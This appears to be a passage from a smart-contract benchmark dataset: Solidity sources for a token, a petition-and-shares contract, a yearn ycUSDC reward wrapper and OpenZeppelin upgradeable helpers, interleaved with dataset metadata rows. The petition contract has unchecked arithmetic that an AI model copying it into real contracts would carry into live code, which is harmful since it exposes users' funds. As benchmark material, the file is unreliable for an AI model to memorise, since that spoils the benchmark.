uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
Initialized();
}
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
| 221,175 | 10,663 |
1431cf97eec31541cfd9cb67a11c0a8303825b7845cd4feb77a8a2594d015085
| 22,048 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xd223e8aed64bf8f2031e1c7b97bf391f1bf75451.sol
| 5,377 | 20,979 |
pragma solidity 0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract PetitionFactory is Ownable {
using SafeMath for uint;
event NewPetition(uint petitionId, string name, string message, address creator, uint signaturesNeeded, bool featured, uint featuredExpires, uint totalSignatures, uint created, string connectingHash, uint advertisingBudget);
event NewPetitionSigner(uint petitionSignerId, uint petitionId, address petitionSignerAddress, uint signed);
event NewPetitionShareholder(uint PetitionShareholderId, address PetitionShareholderAddress, uint shares, uint sharesListedForSale, uint lastDividend);
event DividendClaim(uint divId, uint PetitionShareholderId, uint amt, uint time, address userAddress);
event NewShareholderListing(uint shareholderListingId, uint petitionShareholderId, uint sharesForSale, uint price, bool sold);
struct Petition {
string name;
string message;
address creator;
uint signaturesNeeded;
bool featured;
uint featuredExpires;
uint totalSignatures;
uint created;
string connectingHash;
uint advertisingBudget;
}
struct PetitionSigner {
uint petitionId;
address petitionSignerAddress;
uint signed;
}
struct PetitionShareholder {
address PetitionShareholderAddress;
uint shares;
uint sharesListedForSale;
uint lastDividend;
}
struct DividendHistory {
uint PetitionShareholderId;
uint amt;
uint time;
address userAddress;
}
struct ShareholderListing {
uint petitionShareholderId;
uint sharesForSale;
uint price;
bool sold;
}
Petition[] public petitions;
PetitionSigner[] public petitionsigners;
mapping(address => mapping(uint => uint)) ownerPetitionSignerArrayCreated;
mapping(address => mapping(uint => uint)) petitionSignerMap;
PetitionShareholder[] public PetitionShareholders;
mapping(address => uint) ownerPetitionShareholderArrayCreated;
mapping(address => uint) PetitionShareholderMap;
DividendHistory[] public divs;
ShareholderListing[] public listings;
uint createPetitionFee = 1000000000000000;
uint featurePetitionFee = 100000000000000000;
uint featuredLength = 604800;
uint sharesSold = 0;
uint maxShares = 5000000;
uint initialPricePerShare = 5000000000000000;
uint initialOwnerSharesClaimed = 0;
address ownerShareAddress;
uint dividendCooldown = 604800;
uint peerToPeerMarketplaceTransactionFee = 100;
uint dividendPoolStarts = 0;
uint dividendPoolEnds = 0;
uint claimableDividendPool = 0;
uint claimedThisPool = 0;
uint currentDividendPool = 0;
uint availableForWithdraw = 0;
function invest() payable public {
require(sharesSold < maxShares);
uint numberOfShares = SafeMath.div(msg.value, initialPricePerShare);
uint numberOfSharesBonus;
uint numberOfSharesBonusOne;
uint numberOfSharesBonusTwo;
if (msg.value >= 1000000000000000000000) {
numberOfSharesBonus = SafeMath.div(numberOfShares, 2);
numberOfShares = SafeMath.add(numberOfShares, numberOfSharesBonus);
} else if (msg.value >= 500000000000000000000) {
numberOfSharesBonusOne = SafeMath.div(numberOfShares, 5);
numberOfSharesBonusTwo = SafeMath.div(numberOfShares, 5);
numberOfShares = numberOfShares + numberOfSharesBonusOne + numberOfSharesBonusTwo;
} else if (msg.value >= 100000000000000000000) {
numberOfSharesBonusOne = SafeMath.div(numberOfShares, 5);
numberOfSharesBonusTwo = SafeMath.div(numberOfShares, 10);
numberOfShares = numberOfShares + numberOfSharesBonusOne + numberOfSharesBonusTwo;
} else if (msg.value >= 50000000000000000000) {
numberOfSharesBonus = SafeMath.div(numberOfShares, 5);
numberOfShares = numberOfShares + numberOfSharesBonus;
} else if (msg.value >= 10000000000000000000) {
numberOfSharesBonus = SafeMath.div(numberOfShares, 10);
numberOfShares = numberOfShares + numberOfSharesBonus;
}
require((numberOfShares + sharesSold) < maxShares);
if (ownerPetitionShareholderArrayCreated[msg.sender] == 0) {
uint id = PetitionShareholders.push(PetitionShareholder(msg.sender, numberOfShares, 0, now)) - 1;
emit NewPetitionShareholder(id, msg.sender, numberOfShares, 0, now);
PetitionShareholderMap[msg.sender] = id;
ownerPetitionShareholderArrayCreated[msg.sender] = 1;
sharesSold = sharesSold + numberOfShares;
availableForWithdraw = availableForWithdraw + msg.value;
} else {
PetitionShareholders[PetitionShareholderMap[msg.sender]].shares = PetitionShareholders[PetitionShareholderMap[msg.sender]].shares + numberOfShares;
sharesSold = sharesSold + numberOfShares;
availableForWithdraw = availableForWithdraw + msg.value;
}
endDividendPool();
}
function viewSharesSold() public view returns(uint) {
return sharesSold;
}
function viewMaxShares() public view returns(uint) {
return maxShares;
}
function viewPetitionShareholderWithAddress(address _investorAddress) view public returns (uint, address, uint, uint) {
require (ownerPetitionShareholderArrayCreated[_investorAddress] > 0);
PetitionShareholder storage investors = PetitionShareholders[PetitionShareholderMap[_investorAddress]];
return (PetitionShareholderMap[_investorAddress], investors.PetitionShareholderAddress, investors.shares, investors.lastDividend);
}
function viewPetitionShareholder(uint _PetitionShareholderId) view public returns (uint, address, uint, uint) {
PetitionShareholder storage investors = PetitionShareholders[_PetitionShareholderId];
return (_PetitionShareholderId, investors.PetitionShareholderAddress, investors.shares, investors.lastDividend);
}
function endDividendPool() public {
if (now > dividendPoolEnds) {
availableForWithdraw = availableForWithdraw + (claimableDividendPool - claimedThisPool);
claimableDividendPool = currentDividendPool;
claimedThisPool = 0;
currentDividendPool = 0;
dividendPoolStarts = now;
dividendPoolEnds = (now + dividendCooldown);
}
}
function collectDividend() payable public {
require (ownerPetitionShareholderArrayCreated[msg.sender] > 0);
require ((PetitionShareholders[PetitionShareholderMap[msg.sender]].lastDividend + dividendCooldown) < now);
require (claimableDividendPool > 0);
uint divAmt = claimableDividendPool / (sharesSold / PetitionShareholders[PetitionShareholderMap[msg.sender]].shares);
claimedThisPool = claimedThisPool + divAmt;
PetitionShareholders[PetitionShareholderMap[msg.sender]].lastDividend = now;
PetitionShareholders[PetitionShareholderMap[msg.sender]].PetitionShareholderAddress.transfer(divAmt);
uint id = divs.push(DividendHistory(PetitionShareholderMap[msg.sender], divAmt, now, PetitionShareholders[PetitionShareholderMap[msg.sender]].PetitionShareholderAddress)) - 1;
emit DividendClaim(id, PetitionShareholderMap[msg.sender], divAmt, now, PetitionShareholders[PetitionShareholderMap[msg.sender]].PetitionShareholderAddress);
}
function viewInvestorDividendHistory(uint _divId) public view returns(uint, uint, uint, uint, address) {
return(_divId, divs[_divId].PetitionShareholderId, divs[_divId].amt, divs[_divId].time, divs[_divId].userAddress);
}
function viewInvestorDividendPool() public view returns(uint) {
return currentDividendPool;
}
function viewClaimableInvestorDividendPool() public view returns(uint) {
return claimableDividendPool;
}
function viewClaimedThisPool() public view returns(uint) {
return claimedThisPool;
}
function viewLastClaimedDividend(address _address) public view returns(uint) {
return PetitionShareholders[PetitionShareholderMap[_address]].lastDividend;
}
function ViewDividendPoolEnds() public view returns(uint) {
return dividendPoolEnds;
}
function viewDividendCooldown() public view returns(uint) {
return dividendCooldown;
}
function transferShares(uint _amount, address _to) public {
require(ownerPetitionShareholderArrayCreated[msg.sender] > 0);
require((PetitionShareholders[PetitionShareholderMap[msg.sender]].shares - PetitionShareholders[PetitionShareholderMap[msg.sender]].sharesListedForSale) >= _amount);
if (ownerPetitionShareholderArrayCreated[_to] == 0) {
uint id = PetitionShareholders.push(PetitionShareholder(_to, _amount, 0, now)) - 1;
emit NewPetitionShareholder(id, _to, _amount, 0, now);
PetitionShareholderMap[_to] = id;
ownerPetitionShareholderArrayCreated[_to] = 1;
} else {
PetitionShareholders[PetitionShareholderMap[_to]].shares = PetitionShareholders[PetitionShareholderMap[_to]].shares + _amount;
}
PetitionShareholders[PetitionShareholderMap[msg.sender]].shares = PetitionShareholders[PetitionShareholderMap[msg.sender]].shares - _amount;
PetitionShareholders[PetitionShareholderMap[msg.sender]].sharesListedForSale = PetitionShareholders[PetitionShareholderMap[msg.sender]].sharesListedForSale - _amount;
endDividendPool();
}
function listSharesForSale(uint _amount, uint _price) public {
require(ownerPetitionShareholderArrayCreated[msg.sender] > 0);
require((PetitionShareholders[PetitionShareholderMap[msg.sender]].shares - PetitionShareholders[PetitionShareholderMap[msg.sender]].sharesListedForSale) >= _amount);
PetitionShareholders[PetitionShareholderMap[msg.sender]].sharesListedForSale = PetitionShareholders[PetitionShareholderMap[msg.sender]].sharesListedForSale + _amount;
uint id = listings.push(ShareholderListing(PetitionShareholderMap[msg.sender], _amount, _price, false)) - 1;
emit NewShareholderListing(id, PetitionShareholderMap[msg.sender], _amount, _price, false);
endDividendPool();
}
function viewShareholderListing(uint _shareholderListingId)view public returns (uint, uint, uint, uint, bool) {
ShareholderListing storage listing = listings[_shareholderListingId];
return (_shareholderListingId, listing.petitionShareholderId, listing.sharesForSale, listing.price, listing.sold);
}
function removeShareholderListing(uint _shareholderListingId) public {
ShareholderListing storage listing = listings[_shareholderListingId];
require(PetitionShareholderMap[msg.sender] == listing.petitionShareholderId);
PetitionShareholders[listing.petitionShareholderId].sharesListedForSale = PetitionShareholders[listing.petitionShareholderId].sharesListedForSale - listing.sharesForSale;
delete listings[_shareholderListingId];
endDividendPool();
}
function buySharesFromListing(uint _shareholderListingId) payable public {
ShareholderListing storage listing = listings[_shareholderListingId];
require(msg.value >= listing.price);
require(listing.sold == false);
require(listing.sharesForSale > 0);
if (ownerPetitionShareholderArrayCreated[msg.sender] == 0) {
uint id = PetitionShareholders.push(PetitionShareholder(msg.sender, listing.sharesForSale, 0, now)) - 1;
emit NewPetitionShareholder(id, msg.sender, listing.sharesForSale, 0, now);
PetitionShareholderMap[msg.sender] = id;
ownerPetitionShareholderArrayCreated[msg.sender] = 1;
} else {
PetitionShareholders[PetitionShareholderMap[msg.sender]].shares = PetitionShareholders[PetitionShareholderMap[msg.sender]].shares + listing.sharesForSale;
}
listing.sold = true;
PetitionShareholders[listing.petitionShareholderId].shares = PetitionShareholders[listing.petitionShareholderId].shares - listing.sharesForSale;
PetitionShareholders[listing.petitionShareholderId].sharesListedForSale = PetitionShareholders[listing.petitionShareholderId].sharesListedForSale - listing.sharesForSale;
uint calcFee = SafeMath.div(msg.value, peerToPeerMarketplaceTransactionFee);
cutToInvestorsDividendPool(calcFee);
uint toSeller = SafeMath.sub(msg.value, calcFee);
PetitionShareholders[listing.petitionShareholderId].PetitionShareholderAddress.transfer(toSeller);
endDividendPool();
}
function createPetition(string _name, string _message, uint _signaturesNeeded, bool _featured, string _connectingHash) payable public {
require(msg.value >= createPetitionFee);
uint featuredExpires = 0;
uint totalPaid = createPetitionFee;
if (_featured) {
require(msg.value >= (createPetitionFee + featurePetitionFee));
featuredExpires = now + featuredLength;
totalPaid = totalPaid + featurePetitionFee;
}
cutToInvestorsDividendPool(totalPaid);
uint id = petitions.push(Petition(_name, _message, msg.sender, _signaturesNeeded, _featured, featuredExpires, 0, now, _connectingHash, 0)) - 1;
emit NewPetition(id, _name, _message, msg.sender, _signaturesNeeded, _featured, featuredExpires, 0, now, _connectingHash, 0);
}
function renewFeatured(uint _petitionId) payable public {
require(msg.value >= featurePetitionFee);
uint featuredExpires = 0;
if (now > petitions[_petitionId].featuredExpires) {
featuredExpires = now + featuredLength;
}else {
featuredExpires = petitions[_petitionId].featuredExpires + featuredLength;
}
petitions[_petitionId].featuredExpires = featuredExpires;
cutToInvestorsDividendPool(msg.value);
}
function viewPetition(uint _petitionId) view public returns (uint, string, string, address, uint, bool, uint, uint, uint, string, uint) {
Petition storage petition = petitions[_petitionId];
return (_petitionId, petition.name, petition.message, petition.creator, petition.signaturesNeeded, petition.featured, petition.featuredExpires, petition.totalSignatures, petition.created, petition.connectingHash, petition.advertisingBudget);
}
function viewPetitionSignerWithAddress(address _ownerAddress, uint _petitionId) view public returns (uint, uint, address, uint) {
require (ownerPetitionSignerArrayCreated[_ownerAddress][_petitionId] > 0);
PetitionSigner storage signers = petitionsigners[petitionSignerMap[_ownerAddress][_petitionId]];
return (petitionSignerMap[_ownerAddress][_petitionId], signers.petitionId, signers.petitionSignerAddress, signers.signed);
}
function viewPetitionSigner(uint _petitionSignerId) view public returns (uint, uint, address, uint) {
PetitionSigner storage signers = petitionsigners[_petitionSignerId];
return (_petitionSignerId, signers.petitionId, signers.petitionSignerAddress, signers.signed);
}
function advertisingDeposit (uint _petitionId) payable public {
petitions[_petitionId].advertisingBudget = SafeMath.add(petitions[_petitionId].advertisingBudget, msg.value);
cutToInvestorsDividendPool(msg.value);
}
function cutToInvestorsDividendPool(uint totalPaid) internal {
currentDividendPool = SafeMath.add(currentDividendPool, totalPaid);
endDividendPool();
}
function advertisingUse (uint _petitionId, uint amount) public {
require(petitions[_petitionId].creator == msg.sender);
require(petitions[_petitionId].advertisingBudget >= amount);
petitions[_petitionId].advertisingBudget = petitions[_petitionId].advertisingBudget - amount;
}
function sign (uint _petitionId) public {
require (keccak256(petitions[_petitionId].name) != keccak256(""));
require (ownerPetitionSignerArrayCreated[msg.sender][_petitionId] == 0);
uint id = petitionsigners.push(PetitionSigner(_petitionId, msg.sender, now)) - 1;
emit NewPetitionSigner(id, _petitionId, msg.sender, now);
petitionSignerMap[msg.sender][_petitionId] = id;
ownerPetitionSignerArrayCreated[msg.sender][_petitionId] = 1;
petitions[_petitionId].totalSignatures = petitions[_petitionId].totalSignatures + 1;
endDividendPool();
}
function unsign (uint _petitionId) public {
require (ownerPetitionSignerArrayCreated[msg.sender][_petitionId] == 1);
ownerPetitionSignerArrayCreated[msg.sender][_petitionId] = 0;
petitions[_petitionId].totalSignatures = petitions[_petitionId].totalSignatures - 1;
delete petitionsigners[petitionSignerMap[msg.sender][_petitionId]];
delete petitionSignerMap[msg.sender][_petitionId];
}
function initialOwnersShares() public onlyOwner(){
require(initialOwnerSharesClaimed == 0);
uint numberOfShares = 1000000;
uint id = PetitionShareholders.push(PetitionShareholder(msg.sender, numberOfShares, 0, now)) - 1;
emit NewPetitionShareholder(id, msg.sender, numberOfShares, 0, now);
PetitionShareholderMap[msg.sender] = id;
ownerPetitionShareholderArrayCreated[msg.sender] = 1;
sharesSold = sharesSold + numberOfShares;
ownerShareAddress = msg.sender;
dividendPoolStarts = now;
dividendPoolEnds = (now + dividendCooldown);
initialOwnerSharesClaimed = 1;
}
function companyShares() public view returns(uint){
return PetitionShareholders[PetitionShareholderMap[ownerShareAddress]].shares;
}
function alterDividendCooldown (uint _dividendCooldown) public onlyOwner() {
dividendCooldown = _dividendCooldown;
}
function spendAdvertising(uint _petitionId, uint amount) public onlyOwner() {
require(petitions[_petitionId].advertisingBudget >= amount);
petitions[_petitionId].advertisingBudget = petitions[_petitionId].advertisingBudget - amount;
}
function viewFeaturedLength() public view returns(uint) {
return featuredLength;
}
function alterFeaturedLength (uint _newFeaturedLength) public onlyOwner() {
featuredLength = _newFeaturedLength;
}
function viewInitialPricePerShare() public view returns(uint) {
return initialPricePerShare;
}
function alterInitialPricePerShare (uint _initialPricePerShare) public onlyOwner() {
initialPricePerShare = _initialPricePerShare;
}
function viewCreatePetitionFee() public view returns(uint) {
return createPetitionFee;
}
function alterCreatePetitionFee (uint _createPetitionFee) public onlyOwner() {
createPetitionFee = _createPetitionFee;
}
function alterPeerToPeerMarketplaceTransactionFee (uint _peerToPeerMarketplaceTransactionFee) public onlyOwner() {
peerToPeerMarketplaceTransactionFee = _peerToPeerMarketplaceTransactionFee;
}
function viewPeerToPeerMarketplaceTransactionFee() public view returns(uint) {
return peerToPeerMarketplaceTransactionFee;
}
function viewFeaturePetitionFee() public view returns(uint) {
return featurePetitionFee;
}
function alterFeaturePetitionFee (uint _featurePetitionFee) public onlyOwner() {
featurePetitionFee = _featurePetitionFee;
}
function withdrawFromAmt() public view returns(uint) {
return availableForWithdraw;
}
function withdrawFromContract(address _to, uint _amount) payable external onlyOwner() {
require(_amount <= availableForWithdraw);
availableForWithdraw = availableForWithdraw - _amount;
_to.transfer(_amount);
endDividendPool();
}
}
| 164,472 | 10,664 |
69fa0d77b1e6f9f705430599baa6175927e26146db3cff7f497d294ecde62737
| 12,329 |
.sol
|
Solidity
| false |
281870469
|
yearn/audit
|
e3d76c568dad06d27c71d596e529f4764a36cb76
|
contracts/yEarn/ycUSDC.sol
| 3,280 | 12,088 |
pragma solidity ^0.5.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor () internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface Comptroller {
function claimComp(address holder) external;
}
contract ycUSDC is ERC20, ERC20Detailed, ReentrancyGuard {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
uint256 public index = 0; // previously accumulated index
uint256 public bal = 0; // previous calculated balance of COMP
mapping(address => uint256) public supplyIndex;
address public constant token = address(0x39AA39c021dfbaE8faC545936693aC917d5E7563); // cUSDC token
address public constant comp = address(0xc00e94Cb662C3520282E6f5717214004A7f26888); // COMP token
address public constant compound = address(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B); // Comptroller address for compound.finance
constructor () public ERC20Detailed("yearn cUSDC", "ycUSDC", 8) {}
function _updateCOMP() internal {
if (totalSupply() > 0) {
Comptroller(compound).claimComp(address(this));
uint256 _cBal = IERC20(comp).balanceOf(address(this));
if (_cBal > 0) {
uint256 _diff = _cBal.sub(bal);
if (_diff > 0) {
uint256 _ratio = _diff.mul(1e8).div(totalSupply());
if (_ratio > 0) {
index = index.add(_ratio);
bal = _cBal;
}
}
}
}
}
function claim() external nonReentrant {
_claimFor(msg.sender);
}
function _claimFor(address recipient) internal {
_updateCOMP();
uint256 _supplied = balanceOf(recipient);
if (_supplied > 0) {
uint256 _supplyIndex = supplyIndex[recipient];
supplyIndex[recipient] = index;
uint256 _delta = index.sub(_supplyIndex);
if (_delta > 0) {
uint256 _share = _supplied.mul(_delta).div(1e8);
IERC20(comp).safeTransfer(recipient, _share);
bal = IERC20(comp).balanceOf(address(this));
}
} else {
supplyIndex[recipient] = index;
}
}
function deposit(uint256 amount) external nonReentrant {
require(amount > 0, "0");
_claimFor(msg.sender);
IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
_mint(msg.sender, amount);
}
function withdraw(uint256 amount) external nonReentrant {
require(amount > 0, "0");
uint256 _bal = balanceOf(msg.sender);
require(amount <= _bal, "insufficient balance");
_claimFor(msg.sender);
_burn(msg.sender, amount);
IERC20(token).safeTransfer(msg.sender, amount);
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_claimFor(msg.sender);
_claimFor(recipient);
return super.transfer(recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_claimFor(sender);
_claimFor(recipient);
return super.transferFrom(sender, recipient, amount);
}
}
| 233,065 | 10,665 |
2620a8b56ea1b83418b4ad68d6d8b6165df04fb1028a1b45b6f9eee1c7110344
| 38,167 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/4b/4b8e30cbc440fd41775d4dbd719fa90cfb400115_MyUpgradeableToken.sol
| 3,534 | 15,146 |
// Sources flattened with hardhat v2.14.0 https://hardhat.org
// File @openzeppelin/contracts-upgradeable/utils/[emailprotected]
// OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol)
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
// File @openzeppelin/contracts-upgradeable/proxy/utils/[emailprotected]
// OpenZeppelin Contracts (last updated v4.8.1) (proxy/utils/Initializable.sol)
abstract contract Initializable {
uint8 private _initialized;
bool private _initializing;
event Initialized(uint8 version);
modifier initializer() {
bool isTopLevelCall = !_initializing;
require((isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),
"Initializable: contract is already initialized");
_initialized = 1;
if (isTopLevelCall) {
_initializing = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
emit Initialized(1);
}
}
modifier reinitializer(uint8 version) {
require(!_initializing && _initialized < version, "Initializable: contract is already initialized");
_initialized = version;
_initializing = true;
_;
_initializing = false;
emit Initialized(version);
}
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _disableInitializers() internal virtual {
require(!_initializing, "Initializable: contract is initializing");
if (_initialized < type(uint8).max) {
_initialized = type(uint8).max;
emit Initialized(type(uint8).max);
}
}
function _getInitializedVersion() internal view returns (uint8) {
return _initialized;
}
